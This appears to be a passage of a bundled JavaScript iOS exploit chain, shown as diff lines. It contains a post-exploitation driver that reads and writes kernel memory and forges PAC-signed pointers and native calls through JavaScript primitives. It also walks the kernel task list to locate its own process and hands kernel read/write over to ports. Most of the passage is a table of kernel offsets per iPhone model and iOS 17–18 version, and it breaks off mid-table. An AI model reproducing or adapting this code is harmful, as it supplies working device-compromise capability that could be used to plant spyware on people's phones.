getKernelBase() + { + return this.#driver.getKernelBase(); + } + + static getSelfTaskAddr() + { + return this.#driver.getSelfTaskAddr(); + } + + static read(srcAddr, dst, len) + { + this.#mutexLock(); + let ret = this.#driver.read(srcAddr, dst, len); + this.#mutexUnlock(); + return ret; + } + + static write(dst, src, len) + { + this.#mutexLock(); + let ret = this.#driver.write(dst, src, len); + this.#mutexUnlock(); + return ret; + } + + static readBuff(srcAddr, len) + { + if (!this.read(srcAddr, Native.mem, len)) + return false; + return Native.read(Native.mem, len); + } + + static read8(src) + { + this.read(src, Native.mem, 1); + return Native.read8(Native.mem); + } + + static read16(src) + { + this.read(src, Native.mem, 2); + return Native.read16(Native.mem); + } + + static read32(src) + { + this.read(src, Native.mem, 4); + return Native.read32(Native.mem); + } + + static read64(src) + { + this.read(src, Native.mem, 8); + return Native.read64(Native.mem); + } + + static write8(dst, value) + { + Native.write8(Native.mem, value); + this.write(dst, Native.mem, 1); + } + + static write16(dst, value) + { + Native.write16(Native.mem, value); + this.write(dst, Native.mem, 2); + } + + static write32(dst, value) + { + Native.write32(Native.mem, value); + this.write(dst, Native.mem, 4); + } + + static write64(dst, value) + { + Native.write64(Native.mem, value); + this.write(dst, Native.mem, 8); + } + + static offsets() + { + return this.#driver.offsets(); + } + + static strip(val) + { + return this.#driver.strip(val); + } + + static writeZoneElement(dstAddr,src,len) + { + return this.#driver.writeZoneElement(dstAddr, src, len); + } + + static getPaciaGadget() + { + return this.#driver.getPaciaGadget(); + } + static getClearPaciaGadget() + { + return this.#driver.getClearPaciaGadget(); + } + + static transferRW() + { + let rwCtx = this.#driver.transferRW(); + let controlSocket = rwCtx.controlSocket; + let rwSocket = rwCtx.rwSocket; + console.log(TAG, "controlSocket: " + controlSocket); + console.log(TAG, "rwSocket: " + rwSocket); + + let portPtr = Native.mem; + Native.callSymbol("fileport_makeport", controlSocket, portPtr); + let controlPort = Native.read32(portPtr); + + Native.callSymbol("fileport_makeport", rwSocket, portPtr); + let rwPort = Native.read32(portPtr); + + return { + controlPort: controlPort, + rwPort: rwPort, + controlSocket: controlSocket, + rwSocket: rwSocket + }; + } + + static threadSpawn(scriptCFString, threadMem) { + this.#driver.threadSpawn(scriptCFString, threadMem); + } + + static testKRW() { + console.log(TAG, "Testing KRW"); + console.log(TAG, "- kernelBase: " + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(this.getKernelBase())); + console.log(TAG, "- PACIA gadget: " + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(this.getPaciaGadget())); + console.log(TAG, "- Read kernel magic (4 bytes)"); + + let buff = this.readBuff(this.getKernelBase(), 4); + if (!buff) { + console.log(TAG, "kernel RW not working!"); + return false; + } + let buff32 = new Uint32Array(buff); + console.log(TAG, `- Magic: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(buff32[0])}`); + + if (buff32[0] != 0xfeedfacf) { + console.log(TAG, "Invalid magic!"); + return false; + } + + return true; + } + + static #mutexLock() { + if (this.#mutex) + Native.callSymbol("pthread_mutex_lock", this.#mutex); + } + + static #mutexUnlock() { + if (this.#mutex) + Native.callSymbol("pthread_mutex_unlock", this.#mutex); + } +} + + +/***/ }), + +/***/ "./src/libs/Chain/Native.js": +/*!**********************************!*\ + !*** ./src/libs/Chain/Native.js ***! + \**********************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ Native) +/* harmony export */ }); +const RTLD_DEFAULT = 0xFFFFFFFFFFFFFFFEn; + +class Native { + + // Preallocated memory chunk for general purpose stuff for public use + static mem = 0n; + static memSize = 0x4000; + + // Preallocated memory chunk for encoding/decoding of string arguments + static #argMem = 0n; + + // Pointer to next available memory for native argument + static #argPtr = 0n; + + static { + this.mem = this.callSymbol("malloc", this.memSize); + this.#argMem = this.callSymbol("malloc", 0x1000n); + this.#argPtr = this.#argMem; + } + + static write(ptr, buff) { + let buffPtr = read64(read64(addrof(buff) + 0x10n) + 0x10n); + this.callSymbol("memcpy", ptr, buffPtr, buff.byteLength); + } + static write32(ptr, value) { + let buffWrite = new ArrayBuffer(4); + const view = new DataView(buffWrite); + view.setUint32(0, value, true); + this.write(ptr, buffWrite); + } + + static read(ptr, length) { + let buffRes = new ArrayBuffer(length); + let buffPtr = read64(read64(addrof(buffRes) + 0x10n) + 0x10n); + this.callSymbol("memcpy", buffPtr, ptr, length); + return buffRes; + } + + static read8(ptr) { + let buff = this.read(ptr, 1); + const view = new DataView(buff); + return view.getUint8(0); + } + + static read16(ptr) { + let buff = this.read(ptr, 2); + const view = new DataView(buff); + return view.getUint16(0, true); + } + + static read32(ptr) { + let buff = this.read(ptr, 4); + const view = new DataView(buff); + return view.getUint32(0, true); + } + + static read64(ptr) { + let buff = this.read(ptr, 8); + const view = new DataView(buff); + return view.getBigUint64(0, true); + } + + static readPtr(ptr) { + return this.read64(ptr); + } + + static readString(ptr, len=1024) { + let buff = this.read(ptr, len); + return this.bytesToString(buff, false); + } + + static write8(ptr, value) { + let buffWrite = new ArrayBuffer(1); + const view = new DataView(buffWrite); + view.setUint8(0, value); + this.write(ptr, buffWrite); + } + + static write16(ptr, value) { + let buffWrite = new ArrayBuffer(2); + const view = new DataView(buffWrite); + view.setUint16(0, value, true); + this.write(ptr, buffWrite); + } + + static write32(ptr, value) { + let buffWrite = new ArrayBuffer(4); + const view = new DataView(buffWrite); + view.setUint32(0, value, true); + this.write(ptr, buffWrite); + } + + static write64(ptr, value) { + let buffWrite = new ArrayBuffer(8); + const view = new DataView(buffWrite); + view.setBigUint64(0, value, true); + this.write(ptr, buffWrite); + } + + static writeString(ptr, str) { + //const buff = this.stringToBytes(str, true); + //this.write(ptr, buff); + this.callSymbol("memcpy", ptr, str, str.length + 1); + } + + static getCString(str) { + return get_cstring(str); + } + + static #prepareArg(arg) { + if(!arg) + arg = 0n; + if(typeof(arg) === "string") + return get_cstring(arg); + return BigInt(arg); + } + + static strip(address) { + return address & 0x7fffffffffn; + } + + static pacia(address, modifier) { + address = Native.strip(address); + //console.log(TAG,`address:${Utils.hex(address)}, modifier:${Utils.hex(modifier)}`); + let signedAddress = pacia(address, BigInt(modifier)); + //console.log(TAG,`signedAddress:${Utils.hex(signedAddress)}`); + return signedAddress; + } + + static dlsym(name) { + return Native.callSymbol("dlsym", RTLD_DEFAULT, name); + } + + static callSymbol(name, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15) { + let funcSymbol = null; + if(name === "dlysm") + funcSymbol = DLSYM; + else + funcSymbol = fcall(DLSYM,RTLD_DEFAULT,get_cstring(name)); + a0 = this.#prepareArg(a0); + a1 = this.#prepareArg(a1); + a2 = this.#prepareArg(a2); + a3 = this.#prepareArg(a3); + a4 = this.#prepareArg(a4); + a5 = this.#prepareArg(a5); + a6 = this.#prepareArg(a6); + a7 = this.#prepareArg(a7); + a8 = this.#prepareArg(a8); + a9 = this.#prepareArg(a9); + a10 = this.#prepareArg(a10); + a11 = this.#prepareArg(a11); + a12 = this.#prepareArg(a12); + a13 = this.#prepareArg(a13); + a14 = this.#prepareArg(a14); + a15 = this.#prepareArg(a15); + let chosen_fcall = null; + if(typeof fcall_with_pacia !== 'undefined') + chosen_fcall = fcall_with_pacia; + else + chosen_fcall = fcall; + const ret64 = chosen_fcall(funcSymbol, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15); + if (ret64 < 0xffffffffn && ret64 > -0xffffffffn) + return Number(ret64); + if (ret64 == 0xffffffffffffffffn) + return -1; + return ret64; + } + + static callSymbolRetain(name, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15) { + return Native.callSymbol(name,a0,a1,a2,a3,a4,a5,a6,a7,a8, a9, a10, a11, a12, a13, a14, a15); + } + + static bytesToString(bytes, includeNullChar=true) { + let bytes8 = new Uint8Array(bytes); + let str = ""; + for (let i=0; i>= 8n; + } + return a.buffer; + } + static gc() { + } +} + +// Register global Native class +globalThis.Native = Native; + + +/***/ }), + +/***/ "./src/libs/Chain/OffsetsStruct.js": +/*!*****************************************!*\ + !*** ./src/libs/Chain/OffsetsStruct.js ***! + \*****************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ OffsetsStruct) +/* harmony export */ }); +const OFFSET_KERNEL_BASE = 0xfffffff007004000n +//const OFFSET_KERNEL_TASK = 0x925770n // iOS 17.5.1 - iPhone 13/13 pro max +//const OFFSET_KERNEL_TASK 0x91d318 // iOS 17.4.1 - iPhone 13 pro max +const OFFSET_KERNEL_TASK = 0x0n +const OFFSET_TASK_MAP = 0x28n +const OFFSET_TASK_NEXT = 0x30n +const OFFSET_TASK_PREV = 0x38n +const OFFSET_TASK_THREADS = 0x58n +const OFFSET_TASK_IPC_SPACE = 0x300n +const OFFSET_TASK_PROC_RO = 0x3a0n +const OFFSET_TASK_PROC_SIZE = 0x740n // iOS 17.5.1 +const OFFSET_TASK_EXC_GUARD = 0x5d4n + +const OFFSET_IPC_SPACE_TABLE = 0x20n +const OFFSET_IPC_ENTRY_OBJECT = 0x0n +const OFFSET_IPC_OBJECT_KOBJECT = 0x48n +const OFFSET_IPC_PORT_IP_NSREQUEST = 0x58n +const OFFSET_IPC_PORT_IP_SORIGHTS = 0x84n + +const OFFSET_PROC_PID = 0x60n +const OFFSET_PROC_P_COMM = 0x568n + +const OFFSET_THREAD_OPTIONS = 0x70n +const OFFSET_THREAD_KSTACKPTR = 0xf0n +const OFFSET_THREAD_ROP_PID = 0x160n +const OFFSET_THREAD_JOP_PID = 0x168n +const OFFSET_THREAD_GUARD_EXC_CODE = 0x330n +const OFFSET_THREAD_TASK_THREADS = 0x370n +const OFFSET_THREAD_TRO = 0x380n +const OFFSET_THREAD_AST = 0x3a4n +const OFFSET_THREAD_MUTEX_DATA = 0x3b0n +const OFFSET_THREAD_CTID = 0x430n + +const OFFSET_TRO_TASK = 0x20n + +const OFFSET_VM_HDR_RBH_ROOT = 0x38n +const OFFSET_VM_RBE_LEFT = 0x0n +const OFFSET_VM_RBE_RIGHT = 0x8n + +const OFFSET_VM_OBJECT_VOU_SIZE = 0x18n +const OFFSET_VM_OBJECT_REF_COUNT = 0x28n + +const OFFSET_VM_NAMED_ENTRY_COPY = 0x10n +const OFFSET_VM_NAMED_ENTRY_NEXT = 0x20n + +const OFFSET_MIG_LOCK = 0x0n; +const OFFSET_MIG_SBXMSG = 0x0n; +class OffsetsStruct +{ + constructor() { + this.baseKernel = OFFSET_KERNEL_BASE; + this.kernelTask = OFFSET_KERNEL_TASK; + this.T1SZ_BOOT = 17n; + + this.mapTask = OFFSET_TASK_MAP; + this.nextTask = OFFSET_TASK_NEXT; + this.prevTask = OFFSET_TASK_PREV; + this.threads = OFFSET_TASK_THREADS; + this.ipcSpace = OFFSET_TASK_IPC_SPACE; + this.procRO = OFFSET_TASK_PROC_RO; + this.procSize = OFFSET_TASK_PROC_SIZE; + this.excGuard = OFFSET_TASK_EXC_GUARD; + + this.spaceTable = OFFSET_IPC_SPACE_TABLE; + this.entryObject = OFFSET_IPC_ENTRY_OBJECT; + this.objectKObject = OFFSET_IPC_OBJECT_KOBJECT; + this.ipNsRequest = OFFSET_IPC_PORT_IP_NSREQUEST; + this.ipSorights = OFFSET_IPC_PORT_IP_SORIGHTS; + + this.pid = OFFSET_PROC_PID; + this.pComm = OFFSET_PROC_P_COMM; + + this.options = OFFSET_THREAD_OPTIONS; + this.kstackptr = OFFSET_THREAD_KSTACKPTR; + this.ropPid = OFFSET_THREAD_ROP_PID; + this.jopPid = OFFSET_THREAD_JOP_PID; + this.guardExcCode = OFFSET_THREAD_GUARD_EXC_CODE; + this.taskThreads = OFFSET_THREAD_TASK_THREADS; + this.tro = OFFSET_THREAD_TRO; + this.ast = OFFSET_THREAD_AST; + this.mutexData = OFFSET_THREAD_MUTEX_DATA; + this.ctid = OFFSET_THREAD_CTID; + + this.troTask = OFFSET_TRO_TASK; + + this.hdrRBHRoot = OFFSET_VM_HDR_RBH_ROOT; + this.rbeLeft = OFFSET_VM_RBE_LEFT; + this.rbeRight = OFFSET_VM_RBE_RIGHT; + + this.vouSize = OFFSET_VM_OBJECT_VOU_SIZE; + this.refCount = OFFSET_VM_OBJECT_REF_COUNT; + + this.backingCopy = OFFSET_VM_NAMED_ENTRY_COPY; + this.next = OFFSET_VM_NAMED_ENTRY_NEXT; + this.migLock = OFFSET_MIG_LOCK; + this.migSbxMsg = OFFSET_MIG_SBXMSG; + } +} + + +/***/ }), + +/***/ "./src/libs/Driver/Driver.js": +/*!***********************************!*\ + !*** ./src/libs/Driver/Driver.js ***! + \***********************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ DriverPostExpl) +/* harmony export */ }); +/* harmony import */ var _Offsets__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./Offsets */ "./src/libs/Driver/Offsets.js"); +/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); + + +const TAG = "DRIVER-POSTEXPL" + +class DriverPostExpl +{ + #offsets; + #kernelBase; + + constructor() { + this.#offsets = _Offsets__WEBPACK_IMPORTED_MODULE_0__["default"].getByDeviceAndVersion(); + } + + runPE() { + console.log(TAG, `runPE()`); + if (!this.#offsets) { + console.log(TAG, `Offsets were not obtained, aborting`); + return false; + } + /* + let baseKernel = startSandworm(); + if (baseKernel == -1) + return false; + */ + this.#kernelBase = mpd_kernel_base(); + + return true; + } + + getPaciaGadget() { + return mpd_pacia_gadget(); + } + + getKernelBase() { + return this.#kernelBase; + } + + getSelfTaskAddr() { + console.log(TAG, `getSelfTaskAddr`); + + let selfTaskKaddr = 0; + for (let i=0; i<5; i++) + { + selfTaskKaddr = this.#findSelfTaskKaddr(true); + if (!selfTaskKaddr) + { + console.log(TAG, `Searching the other way around`); + selfTaskKaddr = this.#findSelfTaskKaddr(false); + } + else + break; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep",20000); + } + return selfTaskKaddr; + } + + #findSelfTaskKaddr(direction) { + let kernelTaskAddr = this.#kernelBase + this.#offsets.kernelTask; + console.log(TAG, `baseKernel: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(this.#kernelBase)}, kernelTask: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(kernelTaskAddr)}`); + + let kernelTaskVal = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + this.read(kernelTaskAddr, kernelTaskVal, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE); + kernelTaskVal = uread64(kernelTaskVal); + //console.log(TAG,`kernelTaskval:${kernelTaskVal}`); + kernelTaskVal = BigInt(kernelTaskVal); + //console.log(TAG,`kernelTaskval:${Utils.hex(kernelTaskVal)}`); + let ourPid = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("getpid"); + console.log(TAG, `Our pid:${ourPid}`); + let nextTask = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x100n; + if (direction) + this.read(kernelTaskVal + this.#offsets.nextTask, nextTask, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE); + else + this.read(kernelTaskVal + this.#offsets.prevTask, nextTask, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE); + nextTask = uread64(nextTask); + //console.log(TAG,`nextTask:${Utils.hex(nextTask)}`); + + while (nextTask != 0 && nextTask != kernelTaskVal) { + let procROAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + this.read(nextTask + this.#offsets.procRO, procROAddr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE); + procROAddr = uread64(procROAddr); + //console.log(TAG,`procROAddr:${Utils.hex(procROAddr)}`); + let procVal = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + this.read(procROAddr, procVal, 8); + procVal = BigInt(uread64(procVal)); + //console.log(TAG,`procVal:${Utils.hex(procVal)}`); + if (procVal && this.strip(procVal) > 0xffffffd000000000n) { + let pid = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + this.read(procVal + this.#offsets.pid, pid, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE); + let buffRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(pid, 4); + let view = new DataView(buffRes); + pid = view.getUint32(0,true); + //console.log(TAG,`pid:${Utils.hex(pid)}`); + if (pid == ourPid) { + console.log(TAG, `Found our pid`); + return nextTask; + } + let nextTaskLocation = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + if (direction) + this.read(nextTask + this.#offsets.nextTask, nextTaskLocation, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE); + else + this.read(nextTask + this.#offsets.prevTask, nextTaskLocation, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE); + nextTask = uread64(nextTaskLocation); + } + else + break; + } + return false; + } + + read(srcAddr, dst, len) { + srcAddr = this.strip(srcAddr); + if (srcAddr < 0xffffffd000000000n) { + console.log(TAG, `Invalid kaddr, cannot read: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(srcAddr)}`); + return false; + } + kread_length(srcAddr,dst, len); + return true; + } + + write(dst, src, len) { + let dstAddr = this.strip(dst); + if (dstAddr < 0xffffffd000000000n) { + console.log(TAG, `Invalid kaddr, cannot write:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(dstAddr)}`); + return false; + } + kwrite_length(dst, src, len); + return true; + } + + writeZoneElement(dstAddr, src, len) { + return kwrite_zone_element(dstAddr, src, len); + } + + offsets() { + return this.#offsets; + } + + strip(val) { + return xpac(val); + } + + transferRW() { + return { + controlSocket: mpd_control_socket(), + rwSocket: mpd_rw_socket() + }; + } + + threadSpawn(scriptCFString, threadMem) { + mpd_js_thread_spawn(scriptCFString, threadMem, true); + } +} + + +/***/ }), + +/***/ "./src/libs/Driver/Offsets.js": +/*!************************************!*\ + !*** ./src/libs/Driver/Offsets.js ***! + \************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ Offsets) +/* harmony export */ }); +/* harmony import */ var libs_Chain_OffsetsStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/OffsetsStruct */ "./src/libs/Chain/OffsetsStruct.js"); +/* harmony import */ var _OffsetsTable__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./OffsetsTable */ "./src/libs/Driver/OffsetsTable.js"); + + +const TAG = "OFFSETS" + +class Offsets +{ + static getByDeviceAndVersion() + { + Native.callSymbol("uname", Native.mem); + const sysname = Native.readString(Native.mem, 0x100); + const nodename = Native.readString(Native.mem + 0x100n, 0x100); + const release = Native.readString(Native.mem + 0x200n, 0x100); + const version = Native.readString(Native.mem + 0x300n, 0x100); + const machine = Native.readString(Native.mem + 0x400n, 0x100); + console.log(TAG, `release: ${release} with machine: ${machine}`); + + const buildVer = this.getBuildVersion(); + console.log(TAG, "Build version: " + buildVer); + + let splittedVersion = release.split("."); + let xnuMajor = splittedVersion[0]; + let xnuMinor = splittedVersion[1]; + + let splittedMachine = machine.split(","); + let deviceFamily = splittedMachine[0]; + let deviceModel = splittedMachine[1]; + + console.log(TAG, "deviceFamily: " + deviceFamily); + + // Ugly hack to support 17.7, 17.7.1 and 17.7.2 + if (buildVer) { + if (buildVer == "21H16") + xnuMinor = 6.1; + else if (buildVer == "21H216") + xnuMinor = 6.2; + else if (buildVer == "21H221") + xnuMinor = 6.3; + } + // Get offsets per device family + let deviceOffsets = _OffsetsTable__WEBPACK_IMPORTED_MODULE_1__.offsets[deviceFamily]; + if (!deviceOffsets) { + console.log(TAG, `Unsupported machine: ${machine}`); + return null; + } + + let familyOffsets = deviceOffsets["*"]; + let foundFamilyOffsets = this.#getOffsetsByVersion(familyOffsets, xnuMajor, xnuMinor); + + if (!foundFamilyOffsets) + return null; + + // Adjustments per device model + let modelOffsets = deviceOffsets[deviceModel]; + let foundModelOffsets = null; + if (modelOffsets) + foundModelOffsets = this.#getOffsetsByVersion(modelOffsets, xnuMajor, xnuMinor); + + // Merge family offsets and device offsets + let foundOffsets = new libs_Chain_OffsetsStruct__WEBPACK_IMPORTED_MODULE_0__["default"](); + Object.assign(foundOffsets, foundFamilyOffsets); + if (foundModelOffsets) + Object.assign(foundOffsets, foundModelOffsets); + + if (["iPhone15", "iPhone16", "iPhone17"].includes(deviceFamily)) + foundOffsets.T1SZ_BOOT = 17n; + else + foundOffsets.T1SZ_BOOT = 25n; + + console.log(TAG, "Offsets: " + JSON.stringify(foundOffsets, (_,v) => typeof v === 'bigint' ? "0x"+v.toString(16) : v, 2)); + + return foundOffsets; + } + + static #getOffsetsByVersion(offsets, xnuMajor, xnuMinor) { + let xnuMajorOffsets = 0; + for (let major in offsets) { + if (xnuMajor < major) + continue; + if (xnuMajorOffsets < major) + xnuMajorOffsets = major; + } + + if (!xnuMajorOffsets) { + console.log(TAG, "Unsupported XNU major: " + xnuMajor); + return null; + } + + //console.log(TAG, "Matching XNU major: " + xnuMajorOffsets); + xnuMajorOffsets = offsets[xnuMajorOffsets]; + + let foundOffsets = {}; + let xnuMinorOffsets = -1; + const sortedMinors = Object.keys(xnuMajorOffsets).sort(); + for (let minor of sortedMinors) { + //console.log(TAG, `minor: ${minor}, xnuMinor: ${xnuMinor}`); + if (minor > xnuMinor) + break; + if (xnuMinorOffsets < minor) { + xnuMinorOffsets = minor; + Object.assign(foundOffsets, xnuMajorOffsets[minor]); + } + } + + //console.log(TAG, "Matching XNU minor: " + xnuMinorOffsets); + + return foundOffsets; + } + static getBuildVersion() { + const CTL_KERN = 1; + const KERN_OSVERSION = 65; + + const mib = new ArrayBuffer(4 * 2); + const mibView = new DataView(mib); + mibView.setInt32(0, CTL_KERN, true); + mibView.setInt32(4, KERN_OSVERSION, true); + + const mibAddr = Native.mem; + const resultAddr = Native.mem + 0x100n; + const lengthAddr = Native.mem + 0x200n; + + Native.write(Native.mem, mib); + + let ret = Native.callSymbol("sysctl", mibAddr, 2, resultAddr, lengthAddr, null, 0); + if (ret != 0) { + console.log(TAG, "Unable to get iOS build version"); + return null; + } + + const length = Native.read32(lengthAddr); + const buildVer = Native.readString(resultAddr, length); + return buildVer; + } +} + + +/***/ }), + +/***/ "./src/libs/Driver/OffsetsTable.js": +/*!*****************************************!*\ + !*** ./src/libs/Driver/OffsetsTable.js ***! + \*****************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ offsets: () => (/* binding */ offsets) +/* harmony export */ }); +const offsets = { + // iPhone XS + // iPhone XS Max + // iPhone XS Max Global + // iPhone XR + "iPhone11": { + "*": { + 23: { + 0: { + pComm: 0x568n, + excGuard: 0x5bcn, + kstackptr: 0xe8n, + ropPid: 0x150n, + jopPid: 0x158n, + guardExcCode: 0x308n, + taskThreads: 0x348n, + tro: 0x358n, + ast: 0x37cn, + mutexData: 0x380n, + ctid: 0x408n, + troTask: 0x20n + }, + 3: { + kernelTask: 0x918210n, + guardExcCode: 0x318n, + taskThreads: 0x358n, + tro: 0x368n, + ast: 0x38cn, + mutexData: 0x398n, + ctid: 0x418n + }, + 4: { + kernelTask: 0x91c638n, + pComm: 0x56cn, + troTask: 0x28n, + guardExcCode: 0x320n, + taskThreads: 0x360n, + tro: 0x370n, + ast: 0x394n, + mutexData: 0x3a0n, + ctid: 0x420n, + procRO: 0x388n + }, + 5: { + kernelTask: 0x920a90n + }, + 6: { + kernelTask: 0x9209f0n + }, + 6.1: { + kernelTask: 0x920a40n + } + }, + 24: { + 0: { + kernelTask: 0x9f1548n, + pComm: 0x56cn, + procRO: 0x3a0n, + ipcSpace: 0x318n, + troTask: 0x28n, + excGuard: 0x5dcn, + kstackptr: 0xf0n, + ropPid: 0x158n, + jopPid: 0x160n, + guardExcCode: 0x320n, + taskThreads: 0x370n, + tro: 0x378n, + ast: 0x39cn, + mutexData: 0x3a8n, + ctid: 0x428n + }, + 1: { + kernelTask: 0x9f1560n, + taskThreads: 0x368n, + tro: 0x370n, + ast: 0x394n, + mutexData: 0x3a0n, + ctid: 0x420n + }, + 2: { + kernelTask: 0x9fd988n, + }, + 3: { + kernelTask: 0x9f5988n + }, + 4: { + kernelTask: 0xa62b50n, + procRO: 0x3c0n, + excGuard: 0x5fcn, + taskThreads: 0x370n, + tro: 0x378n, + ast: 0x39cn, + mutexData: 0x3a8n, + ctid: 0x428n + }, + 5: { + kernelTask: 0xa6ac38n + }, + 6: { + kernelTask: 0xa6ad48n, + guardExcCode: 0x328n, + taskThreads: 0x378n, + tro: 0x380n, + ast: 0x3a4n, + mutexData: 0x3b0n, + ctid: 0x430n, + migLock: 0x36971f0n, + migSbxMsg: 0x3697210n, + migKernelStackLR: 0x2f7c1a0n, + } + } + }, + "8": { + 23: { + 4: { + kernelTask: 0x8fc638n + }, + 5: { + kernelTask: 0x900a90n + }, + 6: { + kernelTask: 0x9009f0n + }, + 6.1: { + kernelTask: 0x900a40n + } + }, + 24: { + 0: { + kernelTask: 0x9d1548n + }, + 1: { + kernelTask: 0x9d1560n, + }, + 2: { + kernelTask: 0x9d9988n + }, + 3: { + kernelTask: 0x9d1988n + }, + 4: { + kernelTask: 0xa42b50n + }, + 5: { + kernelTask: 0xad6b78n, + migLock: 0x38d74e8n, + migSbxMsg: 0x38d7508n, + migKernelStackLR: 0x31b19e4n + }, + 6: { + kernelTask: 0xa4ad48n, + migLock: 0x352e1f0n, + migSbxMsg: 0x352e210n, + migKernelStackLR: 0x2e5ba20n, + } + } + } + }, + + // iPhone 11 + // iPhone 11 Pro + // iPhone 11 Pro Max + // iPhone SE 2 + "iPhone12": { + "*": { + 23: { + 0: { + pComm: 0x568n, + excGuard: 0x5bcn, + kstackptr: 0xf0n, + ropPid: 0x158n, + jopPid: 0x160n, + guardExcCode: 0x328n, + taskThreads: 0x368n, + tro: 0x378n, + ast: 0x39cn, + mutexData: 0x3a8n, + ctid: 0x428n, + troTask: 0x20n + }, + 3: { + kernelTask: 0x96c178n, + }, + 4: { + kernelTask: 0x970588n, + pComm: 0x56cn, + troTask: 0x28n, + guardExcCode: 0x330n, + taskThreads: 0x370n, + tro: 0x380n, + ast: 0x3a4n, + mutexData: 0x3b0n, + ctid: 0x430n, + procRO: 0x388n + }, + 5: { + kernelTask: 0x9749d8n + }, + 6: { + kernelTask: 0x974938n + }, + 6.1: { + kernelTask: 0x974988n + } + }, + 24: { + 0: { + kernelTask: 0xa49488n, + pComm: 0x56cn, + procRO: 0x3a0n, + ipcSpace: 0x318n, + troTask: 0x28n, + excGuard: 0x5dcn, + kstackptr: 0xf8n, + ropPid: 0x160n, + jopPid: 0x168n, + guardExcCode: 0x330n, + taskThreads: 0x380n, + tro: 0x388n, + ast: 0x3acn, + mutexData: 0x3b8n, + ctid: 0x438n + }, + 1: { + kernelTask: 0xa494a0n, + taskThreads: 0x378n, + tro: 0x380n, + ast: 0x3a4n, + mutexData: 0x3b0n, + ctid: 0x430n + }, + 2: { + kernelTask: 0xa518c8n + }, + 3: { + kernelTask: 0xa498c8n + }, + 4: { + kernelTask: 0xacea90n, + procRO: 0x3c0n, + excGuard: 0x5fcn, + taskThreads: 0x380n, + tro: 0x388n, + ast: 0x3acn, + mutexData: 0x3b8n, + ctid: 0x438n + }, + 5: { + kernelTask: 0xad6b78n, + migLock: 0x38d74e8n, + migSbxMsg: 0x38d7508n, + migKernelStackLR: 0x31b19e4n, + }, + 6: { + kernelTask: 0xad6c88n, + guardExcCode: 0x338n, + taskThreads: 0x388n, + tro: 0x390n, + ast: 0x3b4n, + mutexData: 0x3c0n, + ctid: 0x440n, + migLock: 0x38e34e8n, + migSbxMsg: 0x38e3508n, + migKernelStackLR: 0x31ba7a0n, + } + } + }, + "3": { + 23: { + 4: { + kernelTask: 0x974588n + }, + 5: { + kernelTask: 0x9789d8n + }, + 6: { + kernelTask: 0x974938n + }, + 6.1: { + kernelTask: 0x974988n + } + }, + 24: { + 0: { + kernelTask: 0xa49488n + }, + 1: { + kernelTask: 0xa4d4a0n + }, + 2: { + kernelTask: 0xa558c8n + }, + 3: { + kernelTask: 0xa4d8c8n + }, + 4: { + kernelTask: 0xacea90n + }, + 5: { + kernelTask: 0xad6b78n, + migLock: 0x38d74e8n, + migSbxMsg: 0x38d7508n, + migKernelStackLR: 0x31b19e4n, + }, + 6: { + 